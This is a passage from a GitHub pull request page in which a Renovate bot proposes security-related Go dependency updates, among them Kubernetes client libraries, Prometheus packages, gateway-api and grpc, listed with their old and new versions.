github.com/prometheus/common v0.65.0 -> v0.66.1
github.com/prometheus/procfs v0.16.1 -> v0.17.0
gopkg.in/evanphx/json-patch.v4 v4.12.0 -> v4.13.0
k8s.io/apiextensions-apiserver v0.33.13 -> v0.34.1
k8s.io/kube-openapi v0.0.0-20250902184714-7fc278399c7f -> v0.0.0-20250910181357-589584f1c912
sigs.k8s.io/gateway-api v1.2.1 -> v1.4.0
File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 17 additional dependencies were updated

Details:

Package Change
k8s.io/api v0.33.13 -> v0.34.1
k8s.io/apiextensions-apiserver v0.33.13 -> v0.34.1
k8s.io/apimachinery v0.33.13 -> v0.34.1
k8s.io/client-go v0.33.13 -> v0.34.1
sigs.k8s.io/controller-runtime v0.21.0 -> v0.22.3
github.com/go-openapi/jsonpointer v0.21.1 -> v0.22.1
github.com/go-openapi/jsonreference v0.21.0 -> v0.21.2
github.com/prometheus/client_golang v1.22.0 -> v1.23.2
github.com/prometheus/common v0.65.0 -> v0.66.1
github.com/prometheus/procfs v0.16.1 -> v0.17.0
github.com/spf13/cobra v1.9.1 -> v1.10.1
gopkg.in/evanphx/json-patch.v4 v4.12.0 -> v4.13.0
k8s.io/apiserver v0.33.13 -> v0.34.1
k8s.io/component-base v0.33.13 -> v0.34.1
k8s.io/kube-openapi v0.0.0-20250902184714-7fc278399c7f -> v0.0.0-20250910181357-589584f1c912
sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 -> v0.33.0
sigs.k8s.io/gateway-api v1.2.1 -> v1.4.0

@ospk8s-renovate ospk8s-renovate Bot changed the title [main] Update osv-vulnerability-alerts [SECURITY] (main) [main] Update module google.golang.org/grpc to v1.83.2 [SECURITY] (main) Oct 29, 2026
@ospk8s-renovate
ospk8s-renovate Bot force-pushed the renovate/main-osv-vulnerability-alerts branch from 698c679 to a2415fe Compare October 29, 2026 20:18
@ospk8s-renovate ospk8s-renovate Bot changed the title [main] Update module google.golang.org/grpc to v1.83.2 [SECURITY] (main) [main] Update osv-vulnerability-alerts [SECURITY] (main) Oct 29, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@abays abays Awaiting requested review from abays
@dprince dprince Awaiting requested review from dprince

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

needs-ok-to-test

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants